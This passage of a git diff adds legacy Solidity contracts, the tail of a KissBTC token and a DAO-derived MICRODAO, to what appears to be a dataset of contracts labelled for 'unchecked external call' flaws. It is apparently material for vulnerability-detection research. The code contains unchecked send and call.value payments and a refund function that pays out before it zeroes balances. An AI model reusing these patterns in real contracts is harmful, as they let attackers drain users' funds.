`msg.sender` approves `_spender` to spend `_amount` tokens on + /// its behalf + /// @param _spender The address of the account able to transfer the tokens + /// @param _amount The amount of tokens to be approved for transfer + /// @return Whether the approval was successful or not + function approve(address _spender, uint256 _amount) returns (bool success); + + /// @param _owner The address of the account owning tokens + /// @param _spender The address of the account able to transfer the tokens + /// @return Amount of remaining tokens of _owner that _spender is allowed + /// to spend + function allowance( + address _owner, + address _spender + ) constant returns (uint256 remaining); + + event Transfer(address indexed _from, address indexed _to, uint256 _amount); + event Approval( + address indexed _owner, + address indexed _spender, + uint256 _amount + ); +} + + +contract Token is TokenInterface { + // Protects users by preventing the execution of method calls that + // inadvertently also transferred ether + modifier noEther() {if (msg.value > 0) throw; _} + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function _transfer(address _to, uint256 _amount) internal returns (bool success) { + if (balances[msg.sender] >= _amount && _amount > 0) { + balances[msg.sender] -= _amount; + balances[_to] += _amount; + Transfer(msg.sender, _to, _amount); + return true; + } else { + return false; + } + } + + function _transferFrom( + address _from, + address _to, + uint256 _amount + ) internal returns (bool success) { + + if (balances[_from] >= _amount + && allowed[_from][msg.sender] >= _amount + && _amount > 0) { + + balances[_to] += _amount; + balances[_from] -= _amount; + allowed[_from][msg.sender] -= _amount; + Transfer(_from, _to, _amount); + return true; + } else { + return false; + } + } + + function approve(address _spender, uint256 _amount) returns (bool success) { + allowed[msg.sender][_spender] = _amount; + Approval(msg.sender, _spender, _amount); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} + +contract KissBTCCallback { + function kissBTCCallback(uint id, uint amount); +} + +contract ApprovalRecipient { + function receiveApproval(address _from, uint256 _amount, + address _tokenContract, bytes _extraData); +} + +contract KissBTC is usingOraclize, Token { + string constant PRICE_FEED = + "json(https://api.kraken.com/0/public/Ticker?pair=ETHXBT).result.XETHXXBT.c.0"; + uint constant MAX_AMOUNT = + 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; + uint constant MAX_ETH_VALUE = 10 ether; + uint constant MIN_ETH_VALUE = 50 finney; + uint constant MAX_KISS_BTC_VALUE = 25000000; + uint constant MIN_KISS_BTC_VALUE = 125000; + uint constant DEFAULT_GAS_LIMIT = 200000; + + string public standard = "Token 0.1"; + string public name = "kissBTC"; + string public symbol = "kissBTC"; + uint8 public decimals = 8; + + struct Task { + bytes32 oraclizeId; + bool toKissBTC; + address sender; + uint value; + address callback; + uint timestamp; + } + + mapping (uint => Task) public tasks; + mapping (bytes32 => uint) public oraclizeRequests; + uint public exchangeRate; + uint public nextId = 1; + + address public owner; + uint public timestamp; + + modifier onlyowner { if (msg.sender == owner) _ } + + function KissBTC() { + owner = msg.sender; + } + + // default action is to turn Ether into kissBTC + function () { + buyKissBTCWithCallback(0, DEFAULT_GAS_LIMIT); + } + + function buyKissBTC() { + buyKissBTCWithCallback(0, DEFAULT_GAS_LIMIT); + } + + function buyKissBTCWithCallback(address callback, + uint gasLimit) oraclizeAPI + returns (uint id) { + if (msg.value < MIN_ETH_VALUE || msg.value > MAX_ETH_VALUE) throw; + if (gasLimit < DEFAULT_GAS_LIMIT) gasLimit = DEFAULT_GAS_LIMIT; + + uint oraclizePrice = oraclize.getPrice("URL", gasLimit); + uint fee = msg.value / 100; // for the contract's coffers + + if (msg.value <= oraclizePrice + fee) throw; + uint value = msg.value - (oraclizePrice + fee); + + id = nextId++; + bytes32 oraclizeId = oraclize.query_withGasLimit.value(oraclizePrice)( + 0, + "URL", + PRICE_FEED, + gasLimit + ); + tasks[id].oraclizeId = oraclizeId; + tasks[id].toKissBTC = true; + tasks[id].sender = msg.sender; + tasks[id].value = value; + tasks[id].callback = callback; + tasks[id].timestamp = now; + oraclizeRequests[oraclizeId] = id; + } + + function transfer(address _to, + uint256 _amount) noEther returns (bool success) { + if (_to == address(this)) { + sellKissBTCWithCallback(_amount, 0, DEFAULT_GAS_LIMIT); + return true; + } else { + return _transfer(_to, _amount); // standard transfer + } + } + + function transferFrom(address _from, + address _to, + uint256 _amount) noEther returns (bool success) { + if (_to == address(this)) throw; // not supported; + return _transferFrom(_from, _to, _amount); + } + + function sellKissBTC(uint256 _amount) returns (uint id) { + return sellKissBTCWithCallback(_amount, 0, DEFAULT_GAS_LIMIT); + } + + function sellKissBTCWithCallback(uint256 _amount, + address callback, + uint gasLimit) oraclizeAPI + returns (uint id) { + if (_amount < MIN_KISS_BTC_VALUE + || _amount > MAX_KISS_BTC_VALUE) throw; + if (balances[msg.sender] < _amount) throw; + if (gasLimit < DEFAULT_GAS_LIMIT) gasLimit = DEFAULT_GAS_LIMIT; + + if (!safeToSell(_amount)) throw; // we need a bailout + + uint oraclizePrice = oraclize.getPrice("URL", gasLimit); + uint oraclizePriceKissBTC = inKissBTC(oraclizePrice); + uint fee = _amount / 100; // for the contract's coffers + + if (_amount <= oraclizePriceKissBTC + fee) throw; + uint value = _amount - (oraclizePriceKissBTC + fee); + + balances[msg.sender] -= _amount; + totalSupply -= _amount; + Transfer(msg.sender, address(this), _amount); + + id = nextId++; + bytes32 oraclizeId = oraclize.query_withGasLimit.value(oraclizePrice)( + 0, + "URL", + PRICE_FEED, + gasLimit + ); + tasks[id].oraclizeId = oraclizeId; + tasks[id].toKissBTC = false; + tasks[id].sender = msg.sender; + tasks[id].value = value; + tasks[id].callback = callback; + tasks[id].timestamp = now; + oraclizeRequests[oraclizeId] = id; + } + + function inKissBTC(uint amount) constant returns (uint) { + return (amount * exchangeRate) / 1000000000000000000; + } + + function inEther(uint amount) constant returns (uint) { + return (amount * 1000000000000000000) / exchangeRate; + } + + function safeToSell(uint amount) constant returns (bool) { + // Only allow sales when we have an extra 25 % in reserve. + return inEther(amount) * 125 < this.balance * 100; + } + + function __callback(bytes32 oraclizeId, string result) { + if (msg.sender != oraclize_cbAddress()) throw; + uint _exchangeRate = parseInt(result, 6) * 100; + if (_exchangeRate > 0) { + exchangeRate = _exchangeRate; + } + + uint id = oraclizeRequests[oraclizeId]; + if (id == 0) return; + + address sender = tasks[id].sender; + address callback = tasks[id].callback; + if (tasks[id].toKissBTC) { + uint freshKissBTC = inKissBTC(tasks[id].value); + + totalSupply += freshKissBTC; + balances[sender] += freshKissBTC; + Transfer(address(this), sender, freshKissBTC); + + if (callback != 0) { + // Note: If the callback throws an exception, everything + // will be rolled back and you won't receive any tokens. + // You can however invoke retryOraclizeRequest() in that case. + KissBTCCallback(callback).kissBTCCallback. + value(0)(id, freshKissBTC); + } + } else { + uint releasedEther = inEther(tasks[id].value); + + sender.send(releasedEther); + + if (callback != 0) { + KissBTCCallback(callback).kissBTCCallback. + value(0)(id, releasedEther); + } + } + + delete oraclizeRequests[oraclizeId]; + delete tasks[id]; + } + + function retryOraclizeRequest(uint id) oraclizeAPI { + if (tasks[id].oraclizeId == 0) throw; + + uint timePassed = now - tasks[id].timestamp; + if (timePassed < 60 minutes) throw; + + // Allow to retry a request to Oraclize if there has been + // no reply within the last hour for some reason. Because a + // failed callback might have been the problem, we discard those. + uint price = oraclize.getPrice("URL", DEFAULT_GAS_LIMIT); + bytes32 newOraclizeId = oraclize.query_withGasLimit.value(price)( + 0, + "URL", + PRICE_FEED, + DEFAULT_GAS_LIMIT + ); + + delete oraclizeRequests[tasks[id].oraclizeId]; + tasks[id].oraclizeId = newOraclizeId; + tasks[id].callback = 0; + tasks[id].timestamp = now; + oraclizeRequests[newOraclizeId] = id; + } + + function whitelist(address _spender) returns (bool success) { + return approve(_spender, MAX_AMOUNT); + } + + function approveAndCall(address _spender, + uint256 _amount, + bytes _extraData) returns (bool success) { + approve(_spender, _amount); + ApprovalRecipient(_spender).receiveApproval. + value(0)(msg.sender, _amount, this, _extraData); + return true; + } + + function donate() { + // Send ether here if you would like to + // increase the contract's reserves. + } + + function toldYouItWouldWork() onlyowner { + if (now - timestamp < 24 hours) throw; // only once a day + + uint obligations = inEther(totalSupply); + if (this.balance <= obligations * 3) throw; + + // Owner can withdraw 1 % of excess funds if the contract + // has more than three times its obligations in reserve. + uint excess = this.balance - (obligations * 3); + uint payment = excess / 100; + if (payment > 0) owner.send(payment); + timestamp = now; + } + + function setOwner(address _owner) onlyowner { + owner = _owner; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40500.sol b/smart_contract_dataset/unchecked external call/40500.sol new file mode 100644 index 0000000000000000000000000000000000000000..d68c525b64de93c2a22496ea7ea080dbde6ed889 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40500.sol @@ -0,0 +1,1234 @@ +/* +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* +Standard smart contract for a Decentralized Autonomous Organization (DAO) +to automate organizational governance and decision-making. +*/ + +/* +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* +Basic account, used by the DAO contract to separately manage both the rewards +and the extraBalance accounts. +*/ + +contract ManagedAccountInterface { + // The only address with permission to withdraw from this account + address public owner; + // If true, only the owner of the account can receive ether from it + bool public payOwnerOnly; + // The sum of ether (in wei) which has been sent to this contract + uint public accumulatedInput; + + /// @notice Sends `_amount` of wei to _recipient + /// @param _amount The amount of wei to send to `_recipient` + /// @param _recipient The address to receive `_amount` of wei + /// @return True if the send completed + function payOut(address _recipient, uint _amount) returns (bool); + + event PayOut(address indexed _recipient, uint _amount); +} + + +contract ManagedAccount is ManagedAccountInterface{ + + // The constructor sets the owner of the account + function ManagedAccount(address _owner, bool _payOwnerOnly) { + owner = _owner; + payOwnerOnly = _payOwnerOnly; + } + + // When the contract receives a transaction without data this is called. + // It counts the amount of ether it receives and stores it in + // accumulatedInput. + function() { + accumulatedInput += msg.value; + } + + function payOut(address _recipient, uint _amount) returns (bool) { + if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner)) + throw; + if (_recipient.call.value(_amount)()) { + PayOut(_recipient, _amount); + return true; + } else { + return false; + } + } +} + +/* +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* + * Token Creation contract, used by the DAO to create its tokens and initialize + * its ether. Feel free to modify the divisor method to implement different + * Token Creation parameters +*/ + +/* +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* +Basic, standardized Token contract with no "premine". Defines the functions to +check token balances, send tokens, send tokens on behalf of a 3rd party and the +corresponding approval process. Tokens need to be created by a derived +contract (e.g. TokenCreation.sol). + +Thank you ConsenSys, this contract originated from: +https://github.com/ConsenSys/Tokens/blob/master/Token_Contracts/contracts/Standard_Token.sol +Which is itself based on the Ethereum standardized contract APIs: +https://github.com/ethereum/wiki/wiki/Standardized_Contract_APIs +*/ + +/// @title Standard Token Contract. + +contract TokenInterface { + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; + + /// Total amount of tokens + uint256 public totalSupply; + + /// @param _owner The address from which the balance will be retrieved + /// @return The balance + function balanceOf(address _owner) constant returns (uint256 balance); + + /// @notice Send `_amount` tokens to `_to` from `msg.sender` + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transferred + /// @return Whether the transfer was successful or not + function transfer(address _to, uint256 _amount) returns (bool success); + + /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it + /// is approved by `_from` + /// @param _from The address of the origin of the transfer + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transferred + /// @return Whether the transfer was successful or not + function transferFrom(address _from, address _to, uint256 _amount) returns (bool success); + + /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on + /// its behalf + /// @param _spender The address of the account able to transfer the tokens + /// @param _amount The amount of tokens to be approved for transfer + /// @return Whether the approval was successful or not + function approve(address _spender, uint256 _amount) returns (bool success); + + /// @param _owner The address of the account owning tokens + /// @param _spender The address of the account able to transfer the tokens + /// @return Amount of remaining tokens of _owner that _spender is allowed + /// to spend + function allowance( + address _owner, + address _spender + ) constant returns (uint256 remaining); + + event Transfer(address indexed _from, address indexed _to, uint256 _amount); + event Approval( + address indexed _owner, + address indexed _spender, + uint256 _amount + ); +} + + +contract Token is TokenInterface { + // Protects users by preventing the execution of method calls that + // inadvertently also transferred ether + modifier noEther() {if (msg.value > 0) throw; _} + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function transfer(address _to, uint256 _amount) noEther returns (bool success) { + if (balances[msg.sender] >= _amount && _amount > 0) { + balances[msg.sender] -= _amount; + balances[_to] += _amount; + Transfer(msg.sender, _to, _amount); + return true; + } else { + return false; + } + } + + function transferFrom( + address _from, + address _to, + uint256 _amount + ) noEther returns (bool success) { + + if (balances[_from] >= _amount + && allowed[_from][msg.sender] >= _amount + && _amount > 0) { + + balances[_to] += _amount; + balances[_from] -= _amount; + allowed[_from][msg.sender] -= _amount; + Transfer(_from, _to, _amount); + return true; + } else { + return false; + } + } + + function approve(address _spender, uint256 _amount) returns (bool success) { + allowed[msg.sender][_spender] = _amount; + Approval(msg.sender, _spender, _amount); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} + +contract TokenCreationInterface { + + // End of token creation, in Unix time + uint public closingTime; + // Minimum fueling goal of the token creation, denominated in tokens to + // be created + uint public minTokensToCreate; + // True if the DAO reached its minimum fueling goal, false otherwise + bool public isFueled; + // For DAO splits - if privateCreation is 0, then it is a public token + // creation, otherwise only the address stored in privateCreation is + // allowed to create tokens + address public privateCreation; + // hold extra ether which has been sent after the DAO token + // creation rate has increased + ManagedAccount public extraBalance; + // tracks the amount of wei given from each contributor (used for refund) + mapping (address => uint256) weiGiven; + + /// @dev Constructor setting the minimum fueling goal and the + /// end of the Token Creation + /// @param _minTokensToCreate Minimum fueling goal in number of + /// Tokens to be created + /// @param _closingTime Date (in Unix time) of the end of the Token Creation + /// @param _privateCreation Zero means that the creation is public. A + /// non-zero address represents the only address that can create Tokens + /// (the address can also create Tokens on behalf of other accounts) + // This is the constructor: it can not be overloaded so it is commented out + // function TokenCreation( + // uint _minTokensTocreate, + // uint _closingTime, + // address _privateCreation + // ); + + /// @notice Create Token with `_tokenHolder` as the initial owner of the Token + /// @param _tokenHolder The address of the Tokens's recipient + /// @return Whether the token creation was successful + function createTokenProxy(address _tokenHolder) returns (bool success); + + /// @notice Refund `msg.sender` in the case the Token Creation did + /// not reach its minimum fueling goal + function refund(); + + /// @return The divisor used to calculate the token creation rate during + /// the creation phase + function divisor() constant returns (uint divisor); + + event FuelingToDate(uint value); + event CreatedToken(address indexed to, uint amount); + event Refund(address indexed to, uint value); +} + + +contract TokenCreation is TokenCreationInterface, Token { + function TokenCreation( + uint _minTokensToCreate, + uint _closingTime, + address _privateCreation) { + + closingTime = _closingTime; + minTokensToCreate = _minTokensToCreate; + privateCreation = _privateCreation; + extraBalance = new ManagedAccount(address(this), true); + } + + function createTokenProxy(address _tokenHolder) returns (bool success) { + if (now < closingTime && msg.value > 0 + && (privateCreation == 0 || privateCreation == msg.sender)) { + + uint token = (msg.value * 20) / divisor(); + extraBalance.call.value(msg.value - token)(); + balances[_tokenHolder] += token; + totalSupply += token; + weiGiven[_tokenHolder] += msg.value; + CreatedToken(_tokenHolder, token); + if (totalSupply >= minTokensToCreate && !isFueled) { + isFueled = true; + FuelingToDate(totalSupply); + } + return true; + } + throw; + } + + function refund() noEther { + if (now > closingTime && !isFueled) { + // Get extraBalance - will only succeed when called for the first time + if (extraBalance.balance >= extraBalance.accumulatedInput()) + extraBalance.payOut(address(this), extraBalance.accumulatedInput()); + + // Execute refund + if (msg.sender.call.value(weiGiven[msg.sender])()) { + Refund(msg.sender, weiGiven[msg.sender]); + totalSupply -= balances[msg.sender]; + balances[msg.sender] = 0; + weiGiven[msg.sender] = 0; + } + } + } + + function divisor() constant returns (uint divisor) { + return 20; + } +} + + +contract DAOInterface { + + // The amount of days for which people who try to participate in the + // creation by calling the fallback function will still get their ether back + uint constant creationGracePeriod = 40 days; + // The minimum debate period that a generic proposal can have + uint constant minProposalDebatePeriod = 3 days; + // The minimum debate period that a split proposal can have + uint constant minSplitDebatePeriod = 0 days; + // Period of days inside which it's possible to execute a DAO split + uint constant splitExecutionPeriod = 1 days; + // Period of time after which the minimum Quorum is halved + uint constant quorumHalvingPeriod = 2 weeks; + // Period after which a proposal is closed + // (used in the case `executeProposal` fails because it throws) + uint constant executeProposalPeriod = 2 days; + // Denotes the maximum proposal deposit that can be given. It is given as + // a fraction of total Ether spent plus balance of the DAO + uint constant maxDepositDivisor = 100; + + // Proposals to spend the DAO's ether or to choose a new Curator + Proposal[] public proposals; + // The quorum needed for each proposal is partially calculated by + // totalSupply / minQuorumDivisor + uint public minQuorumDivisor; + // The unix time of the last time quorum was reached on a proposal + uint public lastTimeMinQuorumMet; + + // Address of the curator + address public curator; + // The whitelist: List of addresses the DAO is allowed to send ether to + mapping (address => bool) public allowedRecipients; + + // Tracks the addresses that own Reward Tokens. Those addresses can only be + // DAOs that have split from the original DAO. Conceptually, Reward Tokens + // represent the proportion of the rewards that the DAO has the right to + // receive. These Reward Tokens are generated when the DAO spends ether. + mapping (address => uint) public rewardToken; + // Total supply of rewardToken + uint public totalRewardToken; + + // The account used to manage the rewards which are to be distributed to the + // DAO Token Holders of this DAO + ManagedAccount public rewardAccount; + + // The account used to manage the rewards which are to be distributed to + // any DAO that holds Reward Tokens + ManagedAccount public DAOrewardAccount; + + // Amount of rewards (in wei) already paid out to a certain DAO + mapping (address => uint) public DAOpaidOut; + + // Amount of rewards (in wei) already paid out to a certain address + mapping (address => uint) public paidOut; + // Map of addresses blocked during a vote (not allowed to transfer DAO + // tokens). The address points to the proposal ID. + mapping (address => uint) public blocked; + + // The minimum deposit (in wei) required to submit any proposal that is not + // requesting a new Curator (no deposit is required for splits) + uint public proposalDeposit; + + // the accumulated sum of all current proposal deposits + uint sumOfProposalDeposits; + + // Contract that is able to create a new DAO (with the same code as + // this one), used for splits + DAO_Creator public daoCreator; + + // A proposal with `newCurator == false` represents a transaction + // to be issued by this DAO + // A proposal with `newCurator == true` represents a DAO split + struct Proposal { + // The address where the `amount` will go to if the proposal is accepted + // or if `newCurator` is true, the proposed Curator of + // the new DAO). + address recipient; + // The amount to transfer to `recipient` if the proposal is accepted. + uint amount; + // A plain text description of the proposal + string description; + // A unix timestamp, denoting the end of the voting period + uint votingDeadline; + // True if the proposal's votes have yet to be counted, otherwise False + bool open; + // True if quorum has been reached, the votes have been counted, and + // the majority said yes + bool proposalPassed; + // A hash to check validity of a proposal + bytes32 proposalHash; + // Deposit in wei the creator added when submitting their proposal. It + // is taken from the msg.value of a newProposal call. + uint proposalDeposit; + // True if this proposal is to assign a new Curator + bool newCurator; + // Data needed for splitting the DAO + SplitData[] splitData; + // Number of Tokens in favor of the proposal + uint yea; + // Number of Tokens opposed to the proposal + uint nay; + // Simple mapping to check if a shareholder has voted for it + mapping (address => bool) votedYes; + // Simple mapping to check if a shareholder has voted against it + mapping (address => bool) votedNo; + // Address of the shareholder who created the proposal + address creator; + } + + // Used only in the case of a newCurator proposal. + struct SplitData { + // The balance of the current DAO minus the deposit at the time of split + uint splitBalance; + // The total amount of DAO Tokens in existence at the time of split. + uint totalSupply; + // Amount of Reward Tokens owned by the DAO at the time of split. + uint rewardToken; + // The new DAO contract created at the time of split. + MICRODAO newDAO; + } + + // Used to restrict access to certain functions to only DAO Token Holders + modifier onlyTokenholders {} + + /// @dev Constructor setting the Curator and the address + /// for the contract able to create another DAO as well as the parameters + /// for the DAO Token Creation + /// @param _curator The Curator + /// @param _daoCreator The contract able to (re)create this DAO + /// @param _proposalDeposit The deposit to be paid for a regular proposal + /// @param _minTokensToCreate Minimum required wei-equivalent tokens + /// to be created for a successful DAO Token Creation + /// @param _closingTime Date (in Unix time) of the end of the DAO Token Creation + /// @param _privateCreation If zero the DAO Token Creation is open to public, a + /// non-zero address means that the DAO Token Creation is only for the address + // This is the constructor: it can not be overloaded so it is commented out + // function DAO( + // address _curator, + // DAO_Creator _daoCreator, + // uint _proposalDeposit, + // uint _minTokensToCreate, + // uint _closingTime, + // addresses _privateCreation + // ); + + /// @notice Create Token with `msg.sender` as the beneficiary + /// @return Whether the token creation was successful + function () returns (bool success); + + + /// @dev This function is used to send ether back + /// to the DAO, it can also be used to receive payments that should not be + /// counted as rewards (donations, grants, etc.) + /// @return Whether the DAO received the ether successfully + function receiveEther() returns(bool); + + /// @notice `msg.sender` creates a proposal to send `_amount` Wei to + /// `_recipient` with the transaction data `_transactionData`. If + /// `_newCurator` is true, then this is a proposal that splits the + /// DAO and sets `_recipient` as the new DAO's Curator. + /// @param _recipient Address of the recipient of the proposed transaction + /// @param _amount Amount of wei to be sent with the proposed transaction + /// @param _description String describing the proposal + /// @param _transactionData Data of the proposed transaction + /// @param _debatingPeriod Time used for debating a proposal, at least 2 + /// weeks for a regular proposal, 10 days for new Curator proposal + /// @param _newCurator Bool defining whether this proposal is about + /// a new Curator or not + /// @return The proposal ID. Needed for voting on the proposal + function newProposal( + address _recipient, + uint _amount, + string _description, + bytes _transactionData, + uint _debatingPeriod, + bool _newCurator + ) onlyTokenholders returns (uint _proposalID); + + /// @notice Check that the proposal with the ID `_proposalID` matches the + /// transaction which sends `_amount` with data `_transactionData` + /// to `_recipient` + /// @param _proposalID The proposal ID + /// @param _recipient The recipient of the proposed transaction + /// @param _amount The amount of wei to be sent in the proposed transaction + /// @param _transactionData The data of the proposed transaction + /// @return Whether the proposal ID matches the transaction data or not + function checkProposalCode( + uint _proposalID, + address _recipient, + uint _amount, + bytes _transactionData + ) constant returns (bool _codeChecksOut); + + /// @notice Vote on proposal `_proposalID` with `_supportsProposal` + /// @param _proposalID The proposal ID + /// @param _supportsProposal Yes/No - support of the proposal + /// @return The vote ID. + function vote( + uint _proposalID, + bool _supportsProposal + ) onlyTokenholders returns (uint _voteID); + + /// @notice Checks whether proposal `_proposalID` with transaction data + /// `_transactionData` has been voted for or rejected, and executes the + /// transaction in the case it has been voted for. + /// @param _proposalID The proposal ID + /// @param _transactionData The data of the proposed transaction + /// @return Whether the proposed transaction has been executed or not + function executeProposal( + uint _proposalID, + bytes _transactionData + ) returns (bool _success); + + /// @notice ATTENTION! I confirm to move my remaining ether to a new DAO + /// with `_newCurator` as the new Curator, as has been + /// proposed in proposal `_proposalID`. This will burn my tokens. This can + /// not be undone and will split the DAO into two DAO's, with two + /// different underlying tokens. + /// @param _proposalID The proposal ID + /// @param _newCurator The new Curator of the new DAO + /// @dev This function, when called for the first time for this proposal, + /// will create a new DAO and send the sender's portion of the remaining + /// ether and Reward Tokens to the new DAO. It will also burn the DAO Tokens + /// of the sender. + function splitDAO( + uint _proposalID, + address _newCurator + ) returns (bool _success); + + /// @dev can only be called by the DAO itself through a proposal + /// updates the contract of the DAO by sending all ether and rewardTokens + /// to the new DAO. The new DAO needs to be approved by the Curator + /// @param _newContract the address of the new contract + function newContract(address _newContract); + + + /// @notice Add a new possible recipient `_recipient` to the whitelist so + /// that the DAO can send transactions to them (using proposals) + /// @param _recipient New recipient address + /// @dev Can only be called by the current Curator + /// @return Whether successful or not + function changeAllowedRecipients(address _recipient, bool _allowed) external returns (bool _success); + + + /// @notice Change the minimum deposit required to submit a proposal + /// @param _proposalDeposit The new proposal deposit + /// @dev Can only be called by this DAO (through proposals with the + /// recipient being this DAO itself) + function changeProposalDeposit(uint _proposalDeposit) external; + + /// @notice Move rewards from the DAORewards managed account + /// @param _toMembers If true rewards are moved to the actual reward account + /// for the DAO. If not then it's moved to the DAO itself + /// @return Whether the call was successful + function retrieveDAOReward(bool _toMembers) external returns (bool _success); + + /// @notice Get my portion of the reward that was sent to `rewardAccount` + /// @return Whether the call was successful + function getMyReward() returns(bool _success); + + /// @notice Withdraw `_account`'s portion of the reward from `rewardAccount` + /// to `_account`'s balance + /// @return Whether the call was successful + function withdrawRewardFor(address _account) internal returns (bool _success); + + /// @notice Send `_amount` tokens to `_to` from `msg.sender`. Prior to this + /// getMyReward() is called. + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transfered + /// @return Whether the transfer was successful or not + function transferWithoutReward(address _to, uint256 _amount) returns (bool success); + + /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it + /// is approved by `_from`. Prior to this getMyReward() is called. + /// @param _from The address of the sender + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transfered + /// @return Whether the transfer was successful or not + function transferFromWithoutReward( + address _from, + address _to, + uint256 _amount + ) returns (bool success); + + /// @notice Doubles the 'minQuorumDivisor' in the case quorum has not been + /// achieved in 52 weeks + /// @return Whether the change was successful or not + function halveMinQuorum() returns (bool _success); + + /// @return total number of proposals ever created + function numberOfProposals() constant returns (uint _numberOfProposals); + + /// @param _proposalID Id of the new curator proposal + /// @return Address of the new DAO + function getNewDAOAddress(uint _proposalID) constant returns (address _newDAO); + + /// @param _account The address of the account which is checked. + /// @return Whether the account is blocked (not allowed to transfer tokens) or not. + function isBlocked(address _account) internal returns (bool); + + /// @notice If the caller is blocked by a proposal whose voting deadline + /// has exprired then unblock him. + /// @return Whether the account is blocked (not allowed to transfer tokens) or not. + function unblockMe() returns (bool); + + event ProposalAdded( + uint indexed proposalID, + address recipient, + uint amount, + bool newCurator, + string description + ); + event Voted(uint indexed proposalID, bool position, address indexed voter); + event ProposalTallied(uint indexed proposalID, bool result, uint quorum); + event NewCurator(address indexed _newCurator); + event AllowedRecipientChanged(address indexed _recipient, bool _allowed); +} + +// The DAO contract itself +contract MICRODAO is DAOInterface, Token, TokenCreation { + + // Modifier that allows only shareholders to vote and create new proposals + modifier onlyTokenholders { + if (balanceOf(msg.sender) == 0) throw; + _ + } + + function MICRODAO( + address _curator, + DAO_Creator _daoCreator, + uint _proposalDeposit, + uint _minTokensToCreate, + uint _closingTime, + address _privateCreation + ) TokenCreation(_minTokensToCreate, _closingTime, _privateCreation) { + + curator = _curator; + daoCreator = _daoCreator; + proposalDeposit = _proposalDeposit; + rewardAccount = new ManagedAccount(address(this), false); + DAOrewardAccount = new ManagedAccount(address(this), false); + if (address(rewardAccount) == 0) + throw; + if (address(DAOrewardAccount) == 0) + throw; + lastTimeMinQuorumMet = now; + minQuorumDivisor = 5; // sets the minimal quorum to 20% + proposals.length = 1; // avoids a proposal with ID 0 because it is used + + allowedRecipients[address(this)] = true; + allowedRecipients[curator] = true; + } + + function () returns (bool success) { + if (now < closingTime + creationGracePeriod && msg.sender != address(extraBalance)) + return createTokenProxy(msg.sender); + else + return receiveEther(); + } + + + function receiveEther() returns (bool) { + return true; + } + + + function newProposal( + address _recipient, + uint _amount, + string _description, + bytes _transactionData, + uint _debatingPeriod, + bool _newCurator + ) onlyTokenholders returns (uint _proposalID) { + + // Sanity check + if (_newCurator && ( + _amount != 0 + || _transactionData.length != 0 + || _recipient == curator + || msg.value > 0)) { + throw; + } else if ( + !_newCurator + && (!isRecipientAllowed(_recipient) || (_debatingPeriod < minProposalDebatePeriod)) + ) { + throw; + } + + if (_debatingPeriod > 8 weeks) + throw; + + if (!isFueled + || now < closingTime + || (msg.value < proposalDeposit && !_newCurator)) { + + throw; + } + + if (now + _debatingPeriod < now) // prevents overflow + throw; + + // to prevent a 51% attacker to convert the ether into deposit + if (msg.sender == address(this)) + throw; + + // to prevent curator from halving quorum before first proposal + if (proposals.length == 1) // initial length is 1 (see constructor) + lastTimeMinQuorumMet = now; + + _proposalID = proposals.length++; + Proposal p = proposals[_proposalID]; + p.recipient = _recipient; + p.amount = _amount; + p.description = _description; + p.proposalHash = sha3(_recipient, _amount, _transactionData); + p.votingDeadline = now + _debatingPeriod; + p.open = true; + //p.proposalPassed = False; // that's default + p.newCurator = _newCurator; + if (_newCurator) + p.splitData.length++; + p.creator = msg.sender; + p.proposalDeposit = msg.value; + + sumOfProposalDeposits += msg.value; + + ProposalAdded( + _proposalID, + _recipient, + _amount, + _newCurator, + _description + ); + } + + + function checkProposalCode( + uint _proposalID, + address _recipient, + uint _amount, + bytes _transactionData + ) noEther constant returns (bool _codeChecksOut) { + Proposal p = proposals[_proposalID]; + return p.proposalHash == sha3(_recipient, _amount, _transactionData); + } + + + function vote( + uint _proposalID, + bool _supportsProposal + ) onlyTokenholders noEther returns (uint _voteID) { + + Proposal p = proposals[_proposalID]; + if (p.votedYes[msg.sender] + || 